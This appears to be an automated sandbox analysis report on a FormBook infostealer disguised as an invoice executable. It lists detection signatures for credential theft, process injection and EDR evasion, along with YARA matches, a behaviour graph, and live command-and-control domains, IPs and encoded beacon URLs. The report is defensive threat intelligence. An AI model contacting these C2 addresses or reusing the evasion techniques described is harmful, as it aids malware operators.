Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\ktmutil.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior
OS version to string mapping found (often used in BOTs)
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: WIN_81
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: WIN_XP
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: WIN_XPe
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: WIN_VISTA
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: WIN_7
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: WIN_8

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 4.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.3408793565.0000000000D80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493193897.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493863404.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3397246670.0000000002780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2492860834.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.3409182554.0000000004790000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409416368.0000000002E70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409702511.0000000002EC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00248C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket, 2_2_00248C4F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0024923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 2_2_0024923B
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1562307 Sample: ORIGINAL INVOICE COAU723073... Startdate: 25/11/2024 Architecture: WINDOWS Score: 100 30 www.schedulemassage.xyz 2->30 32 www.huiguang.xyz 2->32 34 8 other IPs or domains 2->34 44 Suricata IDS alerts for network traffic 2->44 46 Multi AV Scanner detection for submitted file 2->46 48 Yara detected FormBook 2->48 52 5 other signatures 2->52 10 ORIGINAL INVOICE COAU7230734290.exe 2 2->10         started        signatures3 50 Performs DNS queries to domains with low reputation 32->50 process4 signatures5 64 Binary is likely a compiled AutoIt script file 10->64 66 Writes to foreign memory regions 10->66 68 Maps a DLL or memory area into another process 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 tOxaspWNamv.exe 13->16 injected process8 signatures9 42 Found direct / indirect Syscall (likely to bypass EDR) 16->42 19 ktmutil.exe 13 16->19         started        22 srdelayed.exe 16->22         started        process10 signatures11 54 Tries to steal Mail credentials (via file / registry access) 19->54 56 Tries to harvest and steal browser information (history, passwords, etc) 19->56 58 Modifies the context of a thread in another process (thread injection) 19->58 60 3 other signatures 19->60 24 tOxaspWNamv.exe 19->24 injected 28 firefox.exe 19->28         started        process12 dnsIp13 36 schedulemassage.xyz 3.33.130.190, 49866, 49874, 49883 AMAZONEXPANSIONGB United States 24->36 38 www.futurevision.life 203.161.49.193, 49906, 49913, 49919 VNPT-AS-VNVNPTCorpVN Malaysia 24->38 40 www.huiguang.xyz 154.216.76.80, 49827, 80 POWERLINE-AS-APPOWERLINEDATACENTERHK Seychelles 24->40 62 Found direct / indirect Syscall (likely to bypass EDR) 24->62 signatures14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
203.161.49.193
 www.futurevision.life Malaysia
45899 VNPT-AS-VNVNPTCorpVN false
154.216.76.80
 www.huiguang.xyz Seychelles
132839 POWERLINE-AS-APPOWERLINEDATACENTERHK false
3.33.130.190
 mcfunding.org United States
8987 AMAZONEXPANSIONGB true

Contacted Domains

Name IP Active
mcfunding.org 3.33.130.190 true
www.huiguang.xyz 154.216.76.80 true
beingandbecoming.ltd 3.33.130.190 true
migorengya8.click 198.252.98.54 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true
www.futurevision.life 203.161.49.193 true
schedulemassage.xyz 3.33.130.190 true
www.beingandbecoming.ltd unknown unknown
www.migorengya8.click unknown unknown
www.mcfunding.org unknown unknown
www.schedulemassage.xyz unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.futurevision.life/hxmz/?Hx=ot9h&yX7=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H768cQaPGnwmWpoBoTXnujTk0fw5ooQYelqhpppqeWfG8SjK30Qts= true
  • Avira URL Cloud: safe
 unknown
http://www.mcfunding.org/0598/ true
  • Avira URL Cloud: safe
 unknown
http://www.futurevision.life/hxmz/ true
  • Avira URL Cloud: safe
 unknown
http://www.mcfunding.org/0598/?yX7=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4Tu+XiR6NXotGry9ANEeeRCoN4FhbxnBZSnIhm0SzK0MisIZlDjM=&Hx=ot9h true
  • Avira URL Cloud: safe
 unknown
http://www.huiguang.xyz/hv6g/?Hx=ot9h&yX7=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGBem8ABx5elB2IpCI9aOC0eTdsykMK9iQYMJsZcXRFR0PJFreT4Q= true
  • Avira URL Cloud: safe
 unknown
http://www.beingandbecoming.ltd/79tr/?yX7=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZPygs+MxIMUNH2akCfN7/CzpsZyLj6qmJ1F1UuDNbdqvUipDEiTgU=&Hx=ot9h true
  • Avira URL Cloud: safe
 unknown
http://www.beingandbecoming.ltd/79tr/ true
  • Avira URL Cloud: safe
 unknown